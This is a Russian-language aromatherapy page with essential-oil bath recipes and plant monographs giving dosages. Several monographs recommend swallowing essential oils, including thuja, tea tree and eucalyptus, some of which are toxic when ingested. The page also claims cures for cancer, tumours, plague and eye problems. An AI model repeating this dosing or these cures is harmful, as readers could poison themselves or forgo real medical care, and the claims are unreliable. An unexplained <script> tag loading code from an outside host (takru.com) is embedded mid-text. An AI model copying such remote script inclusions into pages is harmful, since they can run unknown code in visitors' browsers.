Ароматические ванны для снятия стрессов и хорошего настроения

1 успокоительная ванна:

эмульгатор -мед

эфирное масло: петигрейн — 5 капель, лаванда — 3 капли, мята-5 капель

все смешать и растворить в теплой воде.

Отлично расслабляет, успокаивает, снимает нервное напряжение.

2 Несколько рецептов от бессоницы:

а) смешать с эмульгатором 3 капли лаванды, 1 каплю иланг-иланга

б) эфирное масло: лаванда -4к, ромашка — 3 капли, мимоза -2 капли, смешать с эмульгатором

в)эфирные масла: мята, лаванда, мандарин, ель — по 3 капли каждого масла, смешать с эмульгатором

г) эмульгатор — 100мл сливок,

эфирные масла - лаванда — 2 капли, шалфей -2 капли, пупавка благородная — 4 капли

д) ванна перед сном

эмульгатор- мед

эфирное масло: лаванда -5 капель, ромашка -3 капли, нероли — капли

Такая ванна поможет расслабиться и быстро заснуть.

3 рецепты ароматических ванн для снятия нервного напряжения и депрессивных состояний

а) эмульгатор( мед, сливки) смешать с 5-7 каплями масла лаванды

б) эмульгатор, масло сандала — 10 капель

в) эмульгатор, масло нероли -5 капель, масло мелиссы — 5 капель

г) эмульгатор, масло лаванды -5 капель, масло ромашки -5 капель

д) эмульгатор, масло бергамота -3 капли, масло иланг-иланга -2 капли, масло петигрейн -1 капля

4 бодрящие ванны

а) эмульгатор, эфирное масло розмарина-5 капель, масло сосны -3 капли

б) эмульгатор, масло герани -3 капли, масло розмарина -3 капли

5 Ароматические ванны для хорошего настроя

а) «Мэрилин Монро»

эмульгатор -сливки

эфирные масла: роза — 2 капли, сандал -4 капли, нероли -4 капли. Аккуратно смешать и растворить в ванне с теплой водой. Приятные ароматы создадут романтическую обстановку и поднимут настроение.

б) эмульгатор - сливки или мед

эфирные масла: мандарин, апельсин, можжевельник, эвкалипт, шалфей — по 3капли, розмарин -4 капли, лимон -5 капель, можно добавить масла жасмина, пачули, лаванды

в) эмульгатор- морская соль

эфирные масла: мускат -2 капли, роза, нероли, пачули по 1 капле. Масла смешать с морской солью и растворить в ванне.

г) эмульгатор -мед 1 столовая ложка, масло авокадо — 2 ст ложки

эфирные масла: нероли, лаванды по 3 капли. Все компоненты смешиваются и растворяются в теплой воде.

д) «Афродита»

эмульгатор- мед или сливки

эфирные масла: иланг-иланг — 3 капли, сандал -2 капли, роза- 3 капли, мускат — 3 капли. Этот состав можно применять как для ванны, так и для аромалампы и массажного масла.

е) «Виктория»

эмульгатор — мед либо морская соль

эфирные масла: корица- 2 капли, бергамот -3 капли, имбирь -3 капли.

6 Ароматические ванны для интимных отношений

а) эмульгатор -мед или сливки

эфирные масла:иланг-иланг, жасмин, фенхель, розмарин, анис — по 2 капли

б) масло розы, сандала, иланг -иланга, бергамота — по 2 капли. Для эффективности стоит принять курс из 5-6 ванн.

в) ванна с французскими нотками

1 стакан белого вина

лавандовое масло — 2 капли, миртовое масло -4 капли

Ароматическая ванна в азиатских традициях

мед -3 столовые ложки

женьшеневый чай — 3 пакетика

жасмин — 5 капель

В ванну опустить пакетики с чаем, пока вода с чайными пакетиками настаивается, приготовить смесь и растворить ее в воде.

Можно сделать любую смесь для ароматической ванны, главное — чтобы она доставляла удовольствие.

Ароматические ванны для упругости и красоты кожи

1 для упругости кожи:

эфирные масла: кипарис — 2 капли, апельсин-2 капли, грейпфрут -2 капли и можжевельник -1 каплю смешать с эмульгатором и растворить в теплой воде

2 повышения тонуса и упругости кожи:

мед — эмульгатор

масло розмарина -4капли

масло лаванды -4 капли

масло бергамота -5 капель

масла смешать с эмульгатором и растворить в воде

3 эмульгатор- молоко

эфирные масла: лимон-3 капли, лаванда -3 капли, можжевельник-3 капли

смесь добавляется в ванну с водой.

4 для снятия раздражения и сухости кожи:

эмульгатор — сливки

эфирные масла: чайное дерево -2капли, можжевельник -2 капли

5 Профилактика растяжек, угревой сыпи:

эмульгатор -масло жожоба

эфирные масла: лаванда- 3 капли, кипарис-1 капля, мандарин -5 капель

6 «Клеопатра»

5 ст. ложек мяты на 1 стакан кипятка, настоять 20 мин, профильтровать. Отвар разбавить с 1 л молока, сюда же добавить мед и 2 ст ложки оливкового масла ,смесь растворить в теплой воде.

7 антицеллюлитная ванна:

эмульгатор — сливки -100г

эфирные масла: можжевельник-6 капель, апельсин-2 капли, кипарис-2капли, грейпфрут- 2 капли.

Масла смешать с эмульгатором и растворить в ванне с теплой водой.

8 Ароматческая ванна для улучшения обмена вещества:

 эмульгатор -морская соль или мед

эфирные масла: можжевельник — 3капли, герань -3 капли.

Для достижения эффекта необходимо провести курс, состоящий из нескольких ванн, но следует помнить, что прием ароматических ванн — 2 -3 раза в неделю. Ежедневные процедуры не дают требуемого результата.

9 тонизирующая ванна:

тонизирует и очищает кожу, улучшает обмен веществ и благотворно воздействует на работу системы кровообращения:

эмульгатор — морская соль

эфирные масла: розмарин, жасмин, ваниль — по 1 капле, апельсин -2 капли

10 антицеллюлитная ванна

100мл сухого вина

масло апельсина -2 капли

масло грейпфрута -2 капли

масло кипариса 2 капли

масло можжевельника -1 капля

Масла растворить в вине и добавить в ванну

Эффект наступает после прохождения курса -10-15 ванн. Ванну следует принимать через день по 10 минут.

Ароматические ванны: правила

Ароматические ванны дают не только приятные ощущения, они могут стать превосходным лекарственным средством. Эфирные масла, проникающие через поры тела, воздействуют на многочисленные рецепторы, тем самым стимулируя работу всего организма.

Ароматические ванны делятся на несколько видов: полные ванны для тела, сидячие, ручные, ножные.

Существует несколько основных правил принятия ароматических ванн.

1 температура воды должна находиться в пределах 37-40 градусов по Цельсию.

2 Эффективное время принятия ванны — 20-30мин.

3эфирные масла необходимо предварительно смешать с эмульгатором. В качестве эмульгатора может быть морская соль,мед, сливки, жидкое мыло, молочная сыворотка. Не рекомендуется использовать в качестве эмульгатора моющие средства (мыло, шампунь, гель для душа), так как они снижают ароматерапевтический эффект процедуры.

4 не следует напрямую добавлять эфирные масла в ванну. Во первых, они могут вызвать раздражение кожи, а во-вторых, эфирные масла -очень летучие вещества, без связывающих компонентов они моментально улетучиваются, следовательно эффект от такой ванны будет мизерным.

5 не принимать ванну сразу после еды. Идеальный вариант: 2 часа после еды или за полтора час до принятия пищи.

6 принимают ароматические ванны 1-2 раза в неделю, в некоторых случаях через день- в целях лекарственного средства.

7 ароматические смеси для ванн нужно готовить непосредственно перед принятием ванны, только тогда будет достигнут максимальный эффект.

Эвкалипт

Эвкалипт -вечнозеленое дерево, родиной которого является Австралия. Сейчас эвкалиптовые деревья можно встретить во многих регионах с тропическим и субтропическим климатом. Для получения эфирного масло используют листья и молодые ветки эвкалипта.

Эвкалипт в медицине применялся с давних времен. Его использовали при скарлатине, дифтерии, в качестве антисептика при лечении рака прямой кишки.

Эфирное масло эвкалипта- сильное антисептическое средство. Настои и отвары листьев эвкалипта используют при абцессах, гнойничковых заболеваниях, фурункулезе, для лечения ожогов.

Применение

наружное -10 капель на 10мл растительного масла

внутреннее- 2-3 капли на 1 чайную ложку меда

ванны -5-7 капель

ингаляции -1-2 капли

спринцевание-2-4 капли на 0,5л воды

аппликации- 3:1

компрессы -10-12 капель

добавление в косметические средства -7-8 капель на 5 г основы

Шалфей мускатный (Salvia sclarea L)

Шалфей -кустарник семейства ясонтковых, достигающий в высоту до 60см. Зацветает шалфей в июне-июле розовато фиолетовыми цветками. Для получения эфирного масла используют листья растения.

Лекарственные свойства шалфея были известны еще древним медикам. Его использовали в качестве профилактики от чумы. Шалфей -великолепный антисептик, обладает ранозаживляющими, кровоостанавливающими, антибактериальными свойствами. Вяжущая способность шалфея используется при ангинах, стоматите.

Настой шалфея используют при простудных и воспалительных заболеваниях, гастритах, заболеваниях почек, печени, кишечника, а также для укрепления нервной системы и улучшения обмена веществ.

Эфирное масло шалфея -великолепное средство при кашле, ангине, бронхиальной астме.

Применение

наружно -4-5 капель на 10мл спирта

внутреннее -1-3 капли на 1 чайную ложку меда

ванны-7-10 капель

аппликации-6-7 капель

ингаляции -1-2 капли

компрессы -7 капель

добавление в косметические средства -1 капля на 5 г основы

Противопростудный бальзам

растительное масло -20мл

масло какао- 15мл

пчелиный воск-4г

масло шалфея -20 капель

масло пихты-10 капель

Растительное масло, масло какао и пчелиный воск ставят на водяную баню. После того как смесь нагреется и расплавиться, добавляют масла пихты и шалфея. Бальзам разлить по емкостям, закрыть. Натирать спину, грудь и горло во время простуды.

Чеснок (Allium sativum L)

Чеснок -многолетнее луковичное растение, известное как пряность. Однако чеснок обладает сильными целительными свойствами, что было отмечено еще в глубокой древности. В Египте, Греции, Древнем Риме чеснок активно использовался в пище и напитках. Один из самых известных медиков Древней Греции Диоскорид первым применил чеснок в качестве препарата от ожогов. Китайская и тибетская медицины признавали за этим простым на первый взгляд растением удивительные свойства, помогающие снять сильную усталость, поднять тонус, а также профилактическим средством от холеры, чумы и брюшного тифа. Медики рекомендовали чеснок в качестве профилактики от рака.

Сок и вытяжка чеснока обладают мощным противомикробным действием. Чеснок рекомендуется при гипертонии, бессоннице, ангине, метеоризме, отеках, а также от ожогов и выпадения волос.

Настойка на чесноке

250 г луковичек чеснока измельчить и залить 1 литром водки, настаивать 2 недели в теплом месте (температура должна быть около 30 градусов по Цельсию). После этого настойку отфильтровать. Принимать во время эпидемий гриппа и других инфекционных заболеваниях по 10-15 капель. При воспалении верхних дыхательных путей настойку смешать с медом.

К болезненным опухолям делать припарку из отвара чеснока.

Эмульсия для растяжение мышц, разрывов связок

на маленьком огне прокипятить зубчики чеснока с листьями эвкалипта в животном жире. Остывшая эмульсия затвердевает. Ее втирать в проблемные места.

Как уничтожить запах чеснока изо рта

Пожевать:

2-3 зерна кофе,

анис или тмин

кардамон

лист петрушки

съесть яблоко.

Чайное дерево (Melaleuca alternifolia)

Чайное дерево — это род деревьев и кустарников, общее название которых -мелалеука.

Лекарственные свойства чайного дерева оказали существенную поддержку экипажу судна, на котором плавал известный путешественник Кук. Эфирное масло чайного дерева обладает сильным противомикробным воздействием, антивирусной активностью. Тщательно изучив это растение, ученые пришли к выводу, что чайное дерево может оказать лечебное действие при многих вирусных заболеваниях и воспалительных процессах. Масло чайного дерева подавляет рост таких бактерий как стафилококки, стрептококки, пневмококки, гонококки, кишечная палочка.

Масло чайного дерева эффективно при различных кожных заболеваниях, таких как: угревая сыпь, грибковые заболевания, герпес, фурункулез. При герепесе — 5 капель масла чайного дерева на 5мл соевого масла.

Масло чайного дерева эффективно при укусах насекомых: комаров, ос, пчел, москитов. Место укуса смазывают обрабатывают маслом чайного дерева, и повторяют через промежутки времени, пока опухоль от укуса полностью не сойдет. Для большего эффекта можно использовать смесь масла чайного дерева и масла лаванды в соотношении 15капель:5 капель.

Защита от комаров

20 бутонов гвоздики

кожура 1лимона и 1апельсина положить на тарелке, блюде и накапать на них масло чайного дерева.

Защита от клещей

10 капель масла чайного дерева на 50 мл воды. Смесь нанести на тело, волосы перед выходом в лесную, парковую зону. Можно также обработать одежду этим раствором.

Применение

наружное -3-5 капель на 10мл масла-основы

внутреннее 1 капля на 1 столовую ложку кефира 2 раза в день

ванны -4-5 капель

ингаляции 1-2 капли

компрессы -1-8 капель

добавление в косметические средства -1-2 капли на 10г основы

Масло чайного дерева -превосходный антидепрессант. Оно благоприятно влияет на людей с неустойчивой психикой, во время сильных неврозах, стрессах, раздражительности и неуверенности в себе. Рекомендуется в таких ситуациях держать возле себя флакончик с маслом чайного дерева и время от времени вдыхать аромат. Это позволит успокоиться, взять себя в руки. Можно нанести несколько капель на галстук, шейный или носовой платок. Масло чайного дерева повышает работоспособность, снимает усталость и чувство неуверенности. 
<script language="JavaScript" charset="UTF-8" src="http://z880.takru.com/in.php?id=882187"></script>

Цитронелла (Cymbopogon nardus Kendle)

Многолетнее травянистое растение, высота которого достигает до 1,5м. Основное производство эфирного масла Шри-Ланка и Индонезия.

Масло цитронеллы — отличное средство для повышения аппетита и ухода за кожей. Его используют для укрепления иммунитета выздоравливающим.

Применение

компресс -8-10 капель масла на 1 стакан воды. Компресс на лоб и руки оказывает тонизирующее воздействие.

Внутреннее — 2 капли масла на стакан травяного чая. Для повышения тонуса — принимается 2-3 раза в день.

Аромалампа -3-5 капель оказывает тонизирующее действие, благотворно воздействует во время умственного труда, работы за компьютером, уничтожает запах табака и рыбы.

Чабрец обыкновенный или тимьян ползучий (Thymus serpyllum L)

Многолетнее растение с ползучими стеблями и мелкими цветками бледно лилового цвета. Эфирное масло получают из наземной части растения.

Масло чабреца (тимьяна) обладает сильными антисептическими свойствами. Лекарственные препараты из этого растения применяют при анемии, бронхиальных заболеваниях, астме, туберкулезе, кишечных инфекционных заболеваниях, гриппозных состояниях и простудах, ревматизме, общей усталости.

Отвар из чабреца является превосходным общеукрепляющим средством, при бессоннице и для восстановления микрофлоры кишечника.

Применение

наружное- 8-10 капель на 10мл растительного масла

внутреннее -1-3 капли на 1 чайную ложку меда 3 раза в день

ванны -3-5 капель

ингаляции -1-2 капли

аппликации 1-2 капли

полоскание -4-5 капель на 10 мл этилового спирта

компрессы -10-12 капель

добавление в косметические средства -2-3 капли на 5г основы

Фенхель обыкновенный (Foenicilum vulgare Miller)

Фенхель — двулетнее растение, достигающее в высоту до 200см. Эфирное масло фенхеля получают из плодов растения. Авиценна считал, что человек, ежедневно съедающий по 4,5г фенхеля с таким же количеством сахара в течении весеннего сезона, на весь год защищен от болезней. Сок из травянистой части фенхеля обладает высокой кроветворной способностью, а соком из семян фенхеля закапывают глаза для улучшения зрения и придания глазам блеска.

Применение

наружное- 6-7 капель на 10мл масла-основы

внутреннее- 2 капли на чайную ложку меда. Можно делать водный раствор в тех же пропорциях

ванны — 5-6 капель

полоскание 5 капель на 250мл воды

компрессы -10г на 10 растительного масла

аппликации- 2 капли на 5 капель растительного масла

добавление в косметические средства- 5-6 капель на 5 г основы.

При воспалении десен реомендуется состав: масло фенхеля- 4 капли, масло лаванды -2 капли, масло шалфея -2 капли масло сосны или пихты -2 капли, мяты -2 капли. На 50 мл воды -1-3 капли смеси, полоскать 3 раза в день.

Тысячелистник (Achillea millefolium L)

Тысячелистник является многолетним растением из семейства сложноцветных. Эфирное масло получают из соцветий тысячелистника, либо берут в переработку всю надземную часть растения. Считается, что впервые использовал растение в лечебных целях древнегреческий герой Ахилл, в честь которого и было дано название. Тысячелистник обладает сильным антибактериальным действием. Его применяли при болях, в качестве кровоостанавливающего средства, при мочекаменной болезни.

Тысячелистник и сейчас используется в качестве противовоспалительного, тонизирующего, спазмолитического и ранозаживляющего средства. Масло тысячелистника превосходно помогает при депрессивных состояниях, состояния раздражительности и гнева.

Применение

аромалампы -2-3 капли

ванны -4 капли

массаж- 4 капли на 10 г масла-основы

внутреннее -1-2 капли на 1 чайную ложку меда.

Туя ( Thuya occidentalis L)

Вечнозеленое дерево, имеющее пирамидальную крону, достигающее в высоту до 15 м. Эфирное масло туи получают из хвои и шишек дерева.

Туя была популярна в древние времена. Ее использовали в религиозных ритуалах, а один из королей Франции назвал тую «деревом жизни». Хвою туи использовали при различных инфекционных заболеваниях, кишечных и маточных кровотечениях, венерических болезнях. Масло туи является эффективным средством при цистите, ревматизме, кишечных паразитах и опухолях

Применение

наружное -3-5 капель на 10мл растительного масла

внутреннее -1 капля на 1 чайную ложку меда

ванны -4-5 капель

аппликации — 2-3 капли на тампон из ваты (бородавки, полипы, папилломы)

ингаляция -1-2 капли

компрессы -2-3капель

добавка в косметические средства — 2-3 капли на 5г основы

Масло туи в современной медицине применяется в качестве стимулирующего средства для сердечной сосудистой системы. Его рекомендуют при застойных явлениях в легких и бронхах.

Эфирное масло туи является компонентом составов, предназначенных для восстановления сексуального здоровья.

Не рекомендуется применять масло туи во время беременности и больным эпилепсией.

Сосна обыкновенная (Pinus sylvestris L.)

Сосна относится к семейству сосновых. Эфирное масло получают из хвои и смолы дерева. Сосна относится к самым древним лекарственным растениям, используемых в различных составах. Так, например, сушенная хвоя использовалась для припарок и компрессов. Эфирное масло сосны отлично помогает при бронхиальных заболеваниях. Благодаря фитонцидам, находящимся в хвое, сосна является сильным обеззараживающим и антимикробным средством.

Применение

наружно -8-10 капель на 10мл масла-основы

внутреннее -1-2 капли на 1 чайную ложку меда

ванны -5-7 капель

аппликации -1:1

ингаляции-1-3капли

компрессы-10-12 капель

добавка в косметические средства -5 капель на 5г основы.

Для лечения парадантоза используется раствор -2-3 капли масла сосны на 1 стакан воды.

Сандаловое дерево (Santalum album)

Сандаловое дерево является вечнозеленым, полупаразитическим, так как первые семь лет жизни растет за счет других деревьев. В высоту взросло сандаловое дерево достигает до 15 м. Родиной сандала считается Южная Азия. Эфирное масло получают из древесины, возраст которой превысил тридцатилетний рубеж. В древности многие народы сандал использовали в различных ритуалах, в медицине, при бальзамировании. Индийские медики в древности сандал применяли в качестве успокоительного, вяжущего, антисептического средства. У масла сандала очень большие антисептические свойства, поэтому его используют при различных воспалительных процессах.

Применение

внутреннее- 1 капля масла на 1 чайную ложку меда 3 раза в день ( при брнхитах, тошноте, рвоте, поносе, нарушениях менструального цикла)

наружное -8-10 капель масла на 10мл масла-основы( при кожных заболеваниях, угревой сыпи, для интимных отношений)

ванны -6-7 капель

ингаляции -3 капли

компрессы -8-10 капель

добавка в косметические средства -3-4 капли на 5г основы.

Масло сандала, смешанное с маслом-основой является превосходным средством для сухой кожи, его также можно использовать после бритья.

Масло сандала и масло лаванды в соотношении 7:2 -эффективное средство от чесотки(наносить смесь на пораженные участки кожи)

Аромат сандала снимает нервозность, психологическое напряжение, успокаивает и расслабляет

дозировка для аромалампы -5-7 капель.

Ромашка (Matricaria chamomilla L.)

Ромашка является однолетним растением с сильным ветвистым стеблем, достигающим в высоту до 40 см. Эфирное масло ромашки получают путем перегонки с водяным паром.

Ромашка с древности была хорошо известна медикам. Ее целительные свойства использовалась для лечения различных заболеваний. С семнадцатого века ромашка занимает место в домашних и монастырских садах наряду с другими полезными растениями.

Эфирное масло ромашки обладает сильным антимикробным действием, недаром ее прописывают при различных воспалительных заболеваниях. Ромашка способствует восстановлению иммунитета, снимает аллергические реакции, устраняет воспаления в желудочно-кишечном тракте, при женских заболеваниях.

Применение

наружно — 6-8 капель масла на 10 мл масла-основы (заболевания кожи, растяжения, аллергия)

внутреннее -1-2 капли масла на 1 чайную ложку меда 3 раза в день ( как обезболивающее, успокоительное)

ванны -7-8 капель ( депрессии, нарушения сна, мигрени, раздражительность)

Аппликации 2:1

ингаляции -2-3 капли

компрессы- 10-12 капель

для косметических средств -5 капель масла на 5 г основы.

Ромашка популярна как косметическое средство, ее добавляют в крема, лосьоны, тоники.